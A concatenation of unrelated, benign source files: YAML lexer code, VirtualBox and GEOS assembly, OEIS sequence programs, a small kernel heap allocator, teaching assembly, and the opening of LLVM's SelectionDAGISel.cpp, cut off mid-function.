ELEKTRA_LOG_DEBUG ("Found %zu non-space characters", lookahead - offset - 1); return lookahead - offset - 1; } /** * @brief This method counts the number of space characters that can be part * of a plain scalar at the current input position. * * @return The number of space characters at the current input position */ size_t YAMLLexer::countPlainSpace () const { ELEKTRA_LOG_DEBUG ("Scan spaces"); size_t lookahead = 1; while (input->LA (lookahead) == ' ') { lookahead++; } ELEKTRA_LOG_DEBUG ("Found %zu space characters", lookahead - 1); return lookahead - 1; } /** * @brief This method scans a comment and adds it to the token queue. */ void YAMLLexer::scanComment () { ELEKTRA_LOG_DEBUG ("Scan comment"); auto start = getPosition (); while (input->LA (1) != '\n' && input->LA (1) != Token::EOF) { forward (); } tokens.push_back (commonToken (COMMENT, start, input->index () - 1)); } /** * @brief This method scans a mapping value token and adds it to the token * queue. */ void YAMLLexer::scanValue () { ELEKTRA_LOG_DEBUG ("Scan value"); tokens.push_back (commonToken (VALUE, getPosition (), input->index () + 1)); forward (2); if (simpleKey.first == nullptr) { throw ParseCancellationException ("Unable to locate key for value"); } auto const start = Position{ simpleKey.first->getStartIndex (), simpleKey.first->getLine (), simpleKey.first->getCharPositionInLine () }; size_t offset = simpleKey.second - tokensEmitted; tokens.insert (tokens.begin () + offset, move (simpleKey.first)); if (addIndentation (start.column, Level::Type::MAP)) { tokens.insert (tokens.begin () + offset, commonToken (MAP_START, start, column, "start of map")); } } /** * @brief This method scans a list element token and adds it to the token * queue. */ void YAMLLexer::scanElement () { ELEKTRA_LOG_DEBUG ("Scan element"); if (addIndentation (column, Level::Type::SEQUENCE)) { tokens.push_back (commonToken (SEQUENCE_START, getPosition (), column, "start of sequence")); } tokens.push_back (commonToken (ELEMENT, getPosition (), input->index () + 1)); forward (2); } }
; $Id: vboxport.asm 69500 2017-10-28 15:14:05Z vboxsync $ ;; @file ; asm specifics ; ; ; Copyright (C) 2013-2017 Oracle Corporation ; ; This file is part of VirtualBox Open Source Edition (OSE), as ; available from http://www.virtualbox.org. This file is free software; ; you can redistribute it and/or modify it under the terms of the GNU ; General Public License (GPL) as published by the Free Software ; Foundation, in version 2 as it comes in the "COPYING" file of the ; VirtualBox OSE distribution. VirtualBox OSE is distributed in the ; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. ; ;******************************************************************************* ;* Header Files * ;******************************************************************************* %include "iprt/asmdefs.mac" BEGINCODE ;; ; Get the FPU control word ; align 16 BEGINPROC VBoxAsmFpuFCWGet fnstcw [xSP - 8] mov ax, word [xSP - 8] ret ENDPROC VBoxAsmFpuFCWGet ;; ; Set the FPU control word ; ; @param u16FCW New FPU control word align 16 BEGINPROC VBoxAsmFpuFCWSet mov xAX, rcx push xAX fldcw [xSP] pop xAX ret ENDPROC VBoxAsmFpuFCWSet
_UndergroundPathEntRoute7Text1:: text "I heard a sleepy" line "#MON appeared" cont "near CELADON CITY." done
; A098605: Positive integers n such that 2n - 17 is prime. ; Submitted by Jon Maiga ; 10,11,12,14,15,17,18,20,23,24,27,29,30,32,35,38,39,42,44,45,48,50,53,57,59,60,62,63,65,72,74,77,78,83,84,87,90,92,95,98,99,104,105,107,108,114,120,122,123,125,128,129,134,137,140,143,144,147,149,150,155,162,164,165,167,174,177,182,183,185,188,192,195,198,200,203,207,209,213,218,219,224,225,228,230,233,237,239,240,242,248,252,254,258,260,263,269,270,279,282 mov $1,2 mov $2,$0 pow $2,2 lpb $2 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,2 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,1 lpe mov $0,$1 div $0,2 add $0,9
#include <Tempest/Application> #include <Tempest/Pixmap> #include <Tempest/File> int main() { Tempest::Pixmap p; p.load("data/rocks.png"); p.setFormat( Tempest::Pixmap::Format_ETC1_RGB8 ); p.save("data/rocks.ktx"); p.setFormat( Tempest::Pixmap::Format_RGB ); p.save("data/rocks_test_uncompressed.png"); p.load("data/rgb-mipmap-reference.ktx"); p.setFormat( Tempest::Pixmap::Format_RGB ); p.save("data/rgb-mipmap-reference.png"); return 0; }
SECTION code_fp_math16 PUBLIC cm16_sdcc___h2slong EXTERN cm16_sdcc_read1 EXTERN asm_f24_f16 EXTERN asm_i32_f24 .cm16_sdcc___h2slong call cm16_sdcc_read1 call asm_f24_f16 jp asm_i32_f24
; A100832: Amenable numbers: n such that there exists a multiset of integers (s(1), ..., s(n)) whose size, sum and product are all n. ; 1,5,8,9,12,13,16,17,20,21,24,25,28,29,32,33,36,37,40,41,44,45,48,49,52,53,56,57,60,61,64,65,68,69,72,73,76,77,80,81,84,85,88,89,92,93,96,97,100,101,104,105,108,109,112,113,116,117,120,121,124,125,128,129,132 add $0,2 mov $1,$0 gcd $0,2 add $0,$1 add $0,$1 dif $0,$1 sub $0,2
; A266591: Middle column of the "Rule 37" elementary cellular automaton starting with a single ON (black) cell. ; 1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0 trn $0,2 mod $0,2 bin $1,$0
%macro imprimir 2 ; nro de params mov eax, 4 mov ebx, 1 mov ecx, %1 ; primer param mov edx, %2 ; segundo param int 0x80 %endmacro %macro leer 2 mov eax, 3 ; leer datos mov ebx, 0 ; device a leer es el teclado mov ecx, %1 ; guardar mov edx, %2 ; numero de bytes int 0x80 %endmacro section .data datos db '0', '0', '0', '0', '0', '0' datoslen equ $-datos len db 0xA, 0xD lenln equ $-len section .bss rpta resb 1 section .text global _start _start: ; Leer mov ebp, datos ; copiar datos ;mov edi, 1 ; contador mov edi, 0 ; contador while_lectura: leer ebp, 1 ; leer 1 byte y guardarlo en ebp add ebp, 1 ; sumar 1 add edi, 1 ; contador+1 cmp edi, datoslen ; compara si son iguales jb while_lectura ; si es menor entonces while ; Imprimir mov ebp, datos ; copiar datos ;mov edi, 1 ; contador mov edi, 0 ; contador while_imprimir: imprimir ebp, 1 ; imprimira 1 byte imprimir len, lenln add ebp, 1 ; sumar 1 add edi, 1 ; contador+1 cmp edi, datoslen ; compara si son iguales jb while_imprimir ; si es menor entonces while ; Finalizar mov eax, 1 mov ebx, 0 ; Ok ;mov ebx, 1 ; Error int 0x80
org 100h include "emu8086.inc" .model small .stack 100h .data .code main proc call hello_world print "i am main function " mov ah,4ch int 21h main endp DEFINE_SCAN_NUM DEFINE_PRINT_NUM DEFINE_PRINT_NUM_UNS DEFINE_PRINT_STRING hello_world proc printn "I am Function " printn "Hello World From Function " ret hello_world endp end main ret
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: SndPlay (Sample PC GEOS application) FILE: sndplay.asm REVISION HISTORY: Name Date Description ---- ---- ----------- TS 6/10/93 Initial version DESCRIPTION: This file source code for the SndPlay application. This code will be assembled by ESP, and then linked by the GLUE linker to produce a runnable .geo application file. RCS STAMP: $Id: sndplayManager.asm,v 1.1 97/04/04 16:32:44 newdeal Exp $ ------------------------------------------------------------------------------@ ;------------------------------------------------------------------------------ ; Include files ;------------------------------------------------------------------------------ include geos.def include heap.def include geode.def include resource.def include ec.def include object.def include graphics.def include Objects/winC.def include system.def ;for UtilHex32ToAscii ;------------------------------------------------------------------------------ ; Libraries used ;------------------------------------------------------------------------------ UseLib ui.def UseLib sound.def ;------------------------------------------------------------------------------ ; Local Definitions ;------------------------------------------------------------------------------ include sndplayConstant.def ;------------------------------------------------------------------------------ ; Class & Method Definitions ;------------------------------------------------------------------------------ ;Here we define "SndPlayGenProcessClass" as a subclass of the system provided ;"GenProcessClass". As this application is launched, an instance of this class ;will be created, and will handle all application-related events (messages). ;The application thread will be responsible for running this object, ;meaning that whenever this object handles a method, we will be executing ;in the application thread. SndPlayGenProcessClass class GenProcessClass ;define messages for this class here. MSG_SND_PLAY_PRESSED_NOTE message ; indicate which note ; is to be played MSG_SND_PLAY_UPDATE_DURATION message ; indicates that the ; GenItemGroup has ; a new selection MSG_SND_PLAY_PLAY message ; indicates that the ; 'Play' button has ; been pressed MSG_SND_PLAY_PLAY_NEXT_NOTE message ; used to traverse ; music piece while ; still allowing ; user input MSG_SND_PLAY_STOP message ; indicates that the ; 'Stop' button has ; been pressed MSG_SND_PLAY_RECORD message ; indicates that the ; 'Record' button has ; been pressed MSG_SND_PLAY_REWIND message ; indicates that the ; 'Rewind' button has ; been pressed MSG_SND_PLAY_SCAN message ; indicates that the ; value in the 'Scan' ; GenValue has changed MSG_SND_PLAY_ADVANCE message ; indicates that the ; 'Advance' button has ; been pressed MSG_SND_PLAY_INSERT message ; indicates that the ; 'Insert' button has ; been pressed MSG_SND_PLAY_DELETE message ; indicates that the ; 'Delete' button has ; been pressed MSG_SND_PLAY_CHANGE message ; indicates that the ; 'Change' button has ; been pressed MSG_SND_PLAY_ERASE message ; indicates that the ; 'Erase' button has ; been pressed SndPlayGenProcessClass endc ;end of class definition ;This class definition must be stored in memory at runtime, so that ;the PC/GEOS messaging system can examine it. We will place it in this ;application's idata (initialized data) area, which is part of ;the "DGroup" resource. idata segment SndPlayGenProcessClass mask CLASSF_NEVER_SAVED ;this flag necessary because GenProcessClass ;objects are hybrid objects. idata ends ;------------------------------------------------------------------------------ ; Resources ;------------------------------------------------------------------------------ ;The "sndplay.ui" file, which contains user-interface descriptions for this ;application, is written in a language called Espire. That file gets compiled ;by UIC, and the resulting assembly statements are written into the ;sndplay.rdef file. We include that file here, so that these descriptions ;can be assembled into our application. ; ;Precisely, we are assembling .byte and .word statements which comprise the ;exact instance data for each generic object in the .ui file. When this ;application is launched, these resources (such as MenuResource) will be loaded ;into the Global Heap. The objects in the resource can very quickly become ;usable, as they are pre-instantiated. include sndplay.rdef ;include compiled UI definitions ;------------------------------------------------------------------------------ ; Code for ItemGenProcessClass ;------------------------------------------------------------------------------ include sndplayInit.asm ;initialization code include sndplayUI.asm ;code for managing user interface include sndplayList.asm ;code for managing linked list include sndplayPlay.asm ;code for playing music
; A082605: Using Euler's 6-term sequence A014556, we define the partial recurrence relation a(0)=2, a(1)=3, a(2)=5; a(k) = 2*a(k-1) - 1 + (-1)^(k-1)*2^(k-2), 3 <= k <= 5. ; 2,3,5,11,17,41,65,161,257,641,1025,2561,4097,10241,16385,40961,65537,163841,262145,655361,1048577,2621441,4194305,10485761,16777217,41943041,67108865,167772161,268435457,671088641,1073741825,2684354561 mov $1,1 mov $2,$0 mov $3,2 lpb $2,1 lpb $3,1 bin $3,$2 sub $3,$1 lpe mul $1,2 sub $2,1 mul $3,2 div $3,$1 sub $3,1 sub $1,$3 lpe div $1,2 add $1,2
; A055269: a(n) = 4*a(n-1) - a(n-2) + 3 with a(0)=1, a(1)=7. ; 1,7,30,116,437,1635,6106,22792,85065,317471,1184822,4421820,16502461,61588027,229849650,857810576,3201392657,11947760055,44589647566,166410830212,621053673285,2317803862931,8650161778442,32282843250840,120481211224921,449642001648847,1678086795370470,6262705179833036 mov $1,1 lpb $0 sub $0,1 add $2,$1 add $2,3 add $2,$1 add $1,1 add $1,$2 lpe
;; xOS32 ;; Copyright (C) 2016-2017 by Omar Mohammad. use32 KERNEL_HEAP = VBE_BACK_BUFFER + VBE_BUFFER_SIZE + 0x1000000 USER_HEAP = KERNEL_HEAP + 0x8000000 ; 128 MB KMALLOC_FLAGS = PAGE_PRESENT OR PAGE_WRITEABLE MALLOC_FLAGS = PAGE_PRESENT OR PAGE_WRITEABLE OR PAGE_USER ; kmalloc: ; Allocates memory in the kernel's heap ; In\ ECX = Bytes to allocate ; Out\ EAX = SSE-aligned pointer to allocated memory ; Note: ; kmalloc() NEVER returns NULL, because it never fails. ; When kmalloc() fails, it fires up a kernel panic. kmalloc: add ecx, 16 ; force sse-alignment add ecx, 4095 shr ecx, 12 ; to pages mov [.pages], ecx mov eax, KERNEL_HEAP mov ecx, [.pages] call vmm_alloc_pages cmp eax, USER_HEAP jge .no mov eax, KERNEL_HEAP mov ecx, [.pages] mov dl, KMALLOC_FLAGS call vmm_alloc cmp eax, 0 je .no mov [.return], eax mov edi, [.return] mov eax, [.pages] stosd mov eax, [.return] add eax, 16 ret .no: push .no_msg jmp panic align 4 .pages dd 0 .return dd 0 .no_msg db "kmalloc: kernel heap overflowed to user heap.",0 ; kfree: ; Frees kernel memory ; In\ EAX = Pointer to memory ; Out\ Nothing kfree: mov ecx, [eax-16] ;sub ecx, 16 call vmm_free ret ; malloc: ; Allocates user heap memory ; In\ ECX = Bytes to allocate ; Out\ EAX = SSE-aligned pointer, 0 on error malloc: add ecx, 16 ; force sse-alignment add ecx, 4095 shr ecx, 12 ; to pages mov [.pages], ecx mov eax, USER_HEAP mov ecx, [.pages] mov dl, MALLOC_FLAGS call vmm_alloc cmp eax, 0 je .no mov [.return], eax mov edi, [.return] mov eax, [.pages] stosd mov eax, [.return] add eax, 16 ret .no: mov eax, 0 ret align 4 .pages dd 0 .return dd 0 ; realloc: ; Reallocates user memory ; In\ EAX = Pointer ; In\ ECX = New size ; Out\ EAX = New pointer realloc: mov [.pointer], eax mov [.size], ecx mov ecx, [.size] call malloc mov [.new_pointer], eax mov esi, [.pointer] mov ecx, [esi-16] shl ecx, 12 sub ecx, 16 ;add esi, 16 mov edi, [.new_pointer] rep movsb mov eax, [.pointer] call free mov eax, [.new_pointer] ret .msg db "realloc",10,0 align 4 .pointer dd 0 .new_pointer dd 0 .size dd 0 ; free: ; Frees user memory ; In\ EAX = Pointer to memory ; Out\ Nothing free: mov ecx, [eax-16] ;sub ecx, 16 call vmm_free ret
//===- SelectionDAGISel.cpp - Implement the SelectionDAGISel class --------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This implements the SelectionDAGISel class. // //===----------------------------------------------------------------------===// #include "llvm/CodeGen/SelectionDAGISel.h" #include "ScheduleDAGSDNodes.h" #include "SelectionDAGBuilder.h" #include "llvm/ADT/APInt.h" #include "llvm/ADT/DenseMap.h" #include "llvm/ADT/None.h" #include "llvm/ADT/PostOrderIterator.h" #include "llvm/ADT/STLExtras.h" #include "llvm/ADT/SmallPtrSet.h" #include "llvm/ADT/SmallSet.h" #include "llvm/ADT/SmallVector.h" #include "llvm/ADT/Statistic.h" #include "llvm/ADT/StringRef.h" #include "llvm/Analysis/AliasAnalysis.h" #include "llvm/Analysis/BranchProbabilityInfo.h" #include "llvm/Analysis/CFG.h" #include "llvm/Analysis/EHPersonalities.h" #include "llvm/Analysis/LazyBlockFrequencyInfo.h" #include "llvm/Analysis/LegacyDivergenceAnalysis.h" #include "llvm/Analysis/OptimizationRemarkEmitter.h" #include "llvm/Analysis/ProfileSummaryInfo.h" #include "llvm/Analysis/TargetLibraryInfo.h" #include "llvm/Analysis/TargetTransformInfo.h" #include "llvm/CodeGen/FastISel.h" #include "llvm/CodeGen/FunctionLoweringInfo.h" #include "llvm/CodeGen/GCMetadata.h" #include "llvm/CodeGen/ISDOpcodes.h" #include "llvm/CodeGen/MachineBasicBlock.h" #include "llvm/CodeGen/MachineFrameInfo.h" #include "llvm/CodeGen/MachineFunction.h" #include "llvm/CodeGen/MachineFunctionPass.h" #include "llvm/CodeGen/MachineInstr.h" #include "llvm/CodeGen/MachineInstrBuilder.h" #include "llvm/CodeGen/MachineMemOperand.h" #include "llvm/CodeGen/MachineModuleInfo.h" #include "llvm/CodeGen/MachineOperand.h" #include "llvm/CodeGen/MachinePassRegistry.h" #include "llvm/CodeGen/MachineRegisterInfo.h" #include "llvm/CodeGen/SchedulerRegistry.h" #include "llvm/CodeGen/SelectionDAG.h" #include "llvm/CodeGen/SelectionDAGNodes.h" #include "llvm/CodeGen/StackProtector.h" #include "llvm/CodeGen/SwiftErrorValueTracking.h" #include "llvm/CodeGen/TargetInstrInfo.h" #include "llvm/CodeGen/TargetLowering.h" #include "llvm/CodeGen/TargetRegisterInfo.h" #include "llvm/CodeGen/TargetSubtargetInfo.h" #include "llvm/CodeGen/ValueTypes.h" #include "llvm/IR/BasicBlock.h" #include "llvm/IR/Constants.h" #include "llvm/IR/DataLayout.h" #include "llvm/IR/DebugInfoMetadata.h" #include "llvm/IR/DebugLoc.h" #include "llvm/IR/DiagnosticInfo.h" #include "llvm/IR/Dominators.h" #include "llvm/IR/Function.h" #include "llvm/IR/InlineAsm.h" #include "llvm/IR/InstIterator.h" #include "llvm/IR/InstrTypes.h" #include "llvm/IR/Instruction.h" #include "llvm/IR/Instructions.h" #include "llvm/IR/IntrinsicInst.h" #include "llvm/IR/Intrinsics.h" #include "llvm/IR/IntrinsicsWebAssembly.h" #include "llvm/IR/Metadata.h" #include "llvm/IR/Statepoint.h" #include "llvm/IR/Type.h" #include "llvm/IR/User.h" #include "llvm/IR/Value.h" #include "llvm/InitializePasses.h" #include "llvm/MC/MCInstrDesc.h" #include "llvm/MC/MCRegisterInfo.h" #include "llvm/Pass.h" #include "llvm/Support/BranchProbability.h" #include "llvm/Support/Casting.h" #include "llvm/Support/CodeGen.h" #include "llvm/Support/CommandLine.h" #include "llvm/Support/Compiler.h" #include "llvm/Support/Debug.h" #include "llvm/Support/ErrorHandling.h" #include "llvm/Support/KnownBits.h" #include "llvm/Support/MachineValueType.h" #include "llvm/Support/Timer.h" #include "llvm/Support/raw_ostream.h" #include "llvm/Target/TargetIntrinsicInfo.h" #include "llvm/Target/TargetMachine.h" #include "llvm/Target/TargetOptions.h" #include "llvm/Transforms/Utils/BasicBlockUtils.h" #include <algorithm> #include <cassert> #include <cstdint> #include <iterator> #include <limits> #include <memory> #include <string> #include <utility> #include <vector> using namespace llvm; #define DEBUG_TYPE "isel" STATISTIC(NumFastIselFailures, "Number of instructions fast isel failed on"); STATISTIC(NumFastIselSuccess, "Number of instructions fast isel selected"); STATISTIC(NumFastIselBlocks, "Number of blocks selected entirely by fast isel"); STATISTIC(NumDAGBlocks, "Number of blocks selected using DAG"); STATISTIC(NumDAGIselRetries,"Number of times dag isel has to try another path"); STATISTIC(NumEntryBlocks, "Number of entry blocks encountered"); STATISTIC(NumFastIselFailLowerArguments, "Number of entry blocks where fast isel failed to lower arguments"); static cl::opt<int> EnableFastISelAbort( "fast-isel-abort", cl::Hidden, cl::desc("Enable abort calls when \"fast\" instruction selection " "fails to lower an instruction: 0 disable the abort, 1 will " "abort but for args, calls and terminators, 2 will also " "abort for argument lowering, and 3 will never fallback " "to SelectionDAG.")); static cl::opt<bool> EnableFastISelFallbackReport( "fast-isel-report-on-fallback", cl::Hidden, cl::desc("Emit a diagnostic when \"fast\" instruction selection " "falls back to SelectionDAG.")); static cl::opt<bool> UseMBPI("use-mbpi", cl::desc("use Machine Branch Probability Info"), cl::init(true), cl::Hidden); #ifndef NDEBUG static cl::opt<std::string> FilterDAGBasicBlockName("filter-view-dags", cl::Hidden, cl::desc("Only display the basic block whose name " "matches this for all view-*-dags options")); static cl::opt<bool> ViewDAGCombine1("view-dag-combine1-dags", cl::Hidden, cl::desc("Pop up a window to show dags before the first " "dag combine pass")); static cl::opt<bool> ViewLegalizeTypesDAGs("view-legalize-types-dags", cl::Hidden, cl::desc("Pop up a window to show dags before legalize types")); static cl::opt<bool> ViewDAGCombineLT("view-dag-combine-lt-dags", cl::Hidden, cl::desc("Pop up a window to show dags before the post " "legalize types dag combine pass")); static cl::opt<bool> ViewLegalizeDAGs("view-legalize-dags", cl::Hidden, cl::desc("Pop up a window to show dags before legalize")); static cl::opt<bool> ViewDAGCombine2("view-dag-combine2-dags", cl::Hidden, cl::desc("Pop up a window to show dags before the second " "dag combine pass")); static cl::opt<bool> ViewISelDAGs("view-isel-dags", cl::Hidden, cl::desc("Pop up a window to show isel dags as they are selected")); static cl::opt<bool> ViewSchedDAGs("view-sched-dags", cl::Hidden, cl::desc("Pop up a window to show sched dags as they are processed")); static cl::opt<bool> ViewSUnitDAGs("view-sunit-dags", cl::Hidden, cl::desc("Pop up a window to show SUnit dags after they are processed")); #else static const bool ViewDAGCombine1 = false, ViewLegalizeTypesDAGs = false, ViewDAGCombineLT = false, ViewLegalizeDAGs = false, ViewDAGCombine2 = false, ViewISelDAGs = false, ViewSchedDAGs = false, ViewSUnitDAGs = false; #endif //===---------------------------------------------------------------------===// /// /// RegisterScheduler class - Track the registration of instruction schedulers. /// //===---------------------------------------------------------------------===// MachinePassRegistry<RegisterScheduler::FunctionPassCtor> RegisterScheduler::Registry; //===---------------------------------------------------------------------===// /// /// ISHeuristic command line option for instruction schedulers. /// //===---------------------------------------------------------------------===// static cl::opt<RegisterScheduler::FunctionPassCtor, false, RegisterPassParser<RegisterScheduler>> ISHeuristic("pre-RA-sched", cl::init(&createDefaultScheduler), cl::Hidden, cl::desc("Instruction schedulers available (before register" " allocation):")); static RegisterScheduler defaultListDAGScheduler("default", "Best scheduler for the target", createDefaultScheduler); namespace llvm { //===--------------------------------------------------------------------===// /// This class is used by SelectionDAGISel to temporarily override /// the optimization level on a per-function basis. class OptLevelChanger { SelectionDAGISel &IS; CodeGenOpt::Level SavedOptLevel; bool SavedFastISel; public: OptLevelChanger(SelectionDAGISel &ISel, CodeGenOpt::Level NewOptLevel) : IS(ISel) { SavedOptLevel = IS.OptLevel; SavedFastISel = IS.TM.Options.EnableFastISel; if (NewOptLevel == SavedOptLevel) return; IS.OptLevel = NewOptLevel; IS.TM.setOptLevel(NewOptLevel); LLVM_DEBUG(dbgs() << "\nChanging optimization level for Function " << IS.MF->getFunction().getName() << "\n"); LLVM_DEBUG(dbgs() << "\tBefore: -O" << SavedOptLevel << " ; After: -O" << NewOptLevel << "\n"); if (NewOptLevel == CodeGenOpt::None) { IS.TM.setFastISel(IS.TM.getO0WantsFastISel()); LLVM_DEBUG( dbgs() << "\tFastISel is " << (IS.TM.Options.EnableFastISel ? "enabled" : "disabled") << "\n"); } } ~OptLevelChanger() { if (IS.OptLevel == SavedOptLevel) return; LLVM_DEBUG(dbgs() << "\nRestoring optimization level for Function " << IS.MF->getFunction().getName() << "\n"); LLVM_DEBUG(dbgs() << "\tBefore: -O" << IS.OptLevel << " ; After: -O" << SavedOptLevel << "\n"); IS.OptLevel = SavedOptLevel; IS.TM.setOptLevel(SavedOptLevel); IS.TM.setFastISel(SavedFastISel); } }; //===--------------------------------------------------------------------===// /// createDefaultScheduler - This creates an instruction scheduler appropriate /// for the target. ScheduleDAGSDNodes* createDefaultScheduler(SelectionDAGISel *IS, CodeGenOpt::Level OptLevel) { const TargetLowering *TLI = IS->TLI; const TargetSubtargetInfo &ST = IS->MF->getSubtarget(); // Try first to see if the Target has its own way of selecting a scheduler if (auto *SchedulerCtor = ST.getDAGScheduler(OptLevel)) { return SchedulerCtor(IS, OptLevel); } if (OptLevel == CodeGenOpt::None || (ST.enableMachineScheduler() && ST.enableMachineSchedDefaultSched()) || TLI->getSchedulingPreference() == Sched::Source) return createSourceListDAGScheduler(IS, OptLevel); if (TLI->getSchedulingPreference() == Sched::RegPressure) return createBURRListDAGScheduler(IS, OptLevel); if (TLI->getSchedulingPreference() == Sched::Hybrid) return createHybridListDAGScheduler(IS, OptLevel); if (TLI->getSchedulingPreference() == Sched::VLIW) return createVLIWDAGScheduler(IS, OptLevel); assert(TLI->getSchedulingPreference() == Sched::ILP && "Unknown sched type!"); return createILPListDAGScheduler(IS, OptLevel); } } // end namespace llvm // EmitInstrWithCustomInserter - This method should be implemented by targets // that mark instructions with the 'usesCustomInserter' flag. These // instructions are special in various ways, which require special support to // insert. The specified MachineInstr is created but not inserted into any // basic blocks, and this method is called to expand it into a sequence of // instructions, potentially also creating new basic blocks and control flow. // When new basic blocks are inserted and the edges from MBB to its successors // are modified, the method should insert pairs of <OldSucc, NewSucc> into the // DenseMap. MachineBasicBlock * TargetLowering::EmitInstrWithCustomInserter(MachineInstr &MI, MachineBasicBlock *MBB) const { #ifndef NDEBUG dbgs() << "If a target marks an instruction with " "'usesCustomInserter', it must implement " "TargetLowering::EmitInstrWithCustomInserter!"; #endif llvm_unreachable(nullptr); } void TargetLowering::AdjustInstrPostInstrSelection(MachineInstr &MI, SDNode *Node) const { assert(!MI.hasPostISelHook() && "If a target marks an instruction with 'hasPostISelHook', " "it must implement TargetLowering::AdjustInstrPostInstrSelection!"); } //===----------------------------------------------------------------------===// // SelectionDAGISel code //===----------------------------------------------------------------------===// SelectionDAGISel::SelectionDAGISel(TargetMachine &tm, CodeGenOpt::Level OL) : MachineFunctionPass(ID), TM(tm), FuncInfo(new FunctionLoweringInfo()), SwiftError(new SwiftErrorValueTracking()), CurDAG(new SelectionDAG(tm, OL)), SDB(std::make_unique<SelectionDAGBuilder>(*CurDAG, *FuncInfo, *SwiftError, OL)), AA(), GFI(), OptLevel(OL), DAGSize(0) { initializeGCModuleInfoPass(*PassRegistry::getPassRegistry()); initializeBranchProbabilityInfoWrapperPassPass( *PassRegistry::getPassRegistry()); initializeAAResultsWrapperPassPass(*PassRegistry::getPassRegistry()); initializeTargetLibraryInfoWrapperPassPass(*PassRegistry::getPassRegistry()); } SelectionDAGISel::~SelectionDAGISel() { delete CurDAG; delete SwiftError; } void SelectionDAGISel::getAnalysisUsage(AnalysisUsage &AU) const { if (OptLevel != CodeGenOpt::None) AU.addRequired<AAResultsWrapperPass>(); AU.addRequired<GCModuleInfo>(); AU.addRequired<StackProtector>(); AU.addPreserved<GCModuleInfo>(); AU.addRequired<TargetLibraryInfoWrapperPass>(); AU.addRequired<TargetTransformInfoWrapperPass>(); if (UseMBPI && OptLevel != CodeGenOpt::None) AU.addRequired<BranchProbabilityInfoWrapperPass>(); AU.addRequired<ProfileSummaryInfoWrapperPass>(); if (OptLevel != CodeGenOpt::None) LazyBlockFrequencyInfoPass::getLazyBFIAnalysisUsage(AU); MachineFunctionPass::getAnalysisUsage(AU); } /// SplitCriticalSideEffectEdges - Look for critical edges with a PHI value that /// may trap on it. In this case we have to split the edge so that the path /// through the predecessor block that doesn't go to the phi block doesn't /// execute the possibly trapping instruction. If available, we pass domtree /// and loop info to be updated when we split critical edges. This is because /// SelectionDAGISel preserves these analyses. /// This is required for correctness, so it must be done at -O0. /// static void SplitCriticalSideEffectEdges(Function &Fn, DominatorTree *DT, LoopInfo *LI) { // Loop for blocks with phi nodes. for (BasicBlock &BB : Fn) { PHINode *PN = dyn_cast<PHINode>(BB.begin()); if (!PN) continue; ReprocessBlock: // For each block with a PHI node, check to see if any of the input values // are potentially trapping constant expressions. Constant expressions are // the only potentially trapping value that can occur as the argument to a // PHI. for (BasicBlock::iterator I = BB.begin(); (PN = dyn_cast<PHINode>(I)); ++I) for (unsigned i = 0, e = PN->getNumIncomingValues(); i != e; ++i) { ConstantExpr *CE = dyn_cast<ConstantExpr>(PN->getIncomingValue(i)); if (!CE || !CE->canTrap()) continue; // The only case we have to worry about is when the edge is critical. // Since this block has a PHI Node, we assume it has multiple input // edges: check to see if the pred has multiple successors. BasicBlock *Pred = PN->getIncomingBlock(i); if (Pred->getTerminator()->getNumSuccessors() == 1) continue; // Okay, we have to split this edge. SplitCriticalEdge( Pred->getTerminator(), GetSuccessorNumber(Pred, &BB), CriticalEdgeSplittingOptions(DT, LI).setMergeIdenticalEdges()); goto ReprocessBlock; } } } static void computeUsesMSVCFloatingPoint(const Triple &TT, const Function &F, MachineModuleInfo &MMI) { // Only needed for MSVC if (!TT.isWindowsMSVCEnvironment()) return; // If it's already set, nothing to do. if (MMI.usesMSVCFloatingPoint()) return; for (const Instruction &I : instructions(F)) { if (I.getType()->isFPOrFPVectorTy()) { MMI.setUsesMSVCFloatingPoint(true); return; } for (const auto &Op : I.operands()) { if (Op->getType()->isFPOrFPVectorTy()) { MMI.setUsesMSVCFloatingPoint(true); return; } } } } bool SelectionDAGISel::runOnMachineFunction(MachineFunction &mf) { // If we already selected that function, we do not need to run SDISel. if (mf.getProperties().hasProperty( MachineFunctionProperties::Property::Selected)) return false; // Do some sanity-checking on the command-line options. assert((!EnableFastISelAbort || TM.Options.EnableFastISel) && "-fast-isel-abort > 0 requires -fast-isel"); const Function &Fn = mf.getFunction(); MF = &mf; // Reset the target options before resetting the optimization // level below. // FIXME: This is a horrible hack and should be processed via // codegen looking at the optimization level explicitly when // it wants to look at it. TM.resetTargetOptions(Fn); // Reset OptLevel to None for optnone functions. CodeGenOpt::Level NewOptLevel = OptLevel; if (OptLevel != CodeGenOpt::None && skipFunction(Fn)) NewOptLevel = CodeGenOpt::None; OptLevelChanger OLC(*this, NewOptLevel); TII = MF->getSubtarget().getInstrInfo(); TLI = MF->getSubtarget().getTargetLowering(); RegInfo = &MF->getRegInfo(); LibInfo = &getAnalysis<TargetLibraryInfoWrapperPass>().getTLI(Fn); GFI = Fn.hasGC() ? &getAnalysis<GCModuleInfo>().getFunctionInfo(Fn) : nullptr; ORE = std::make_unique<OptimizationRemarkEmitter>(&Fn); auto *DTWP = getAnalysisIfAvailable<DominatorTreeWrapperPass>(); 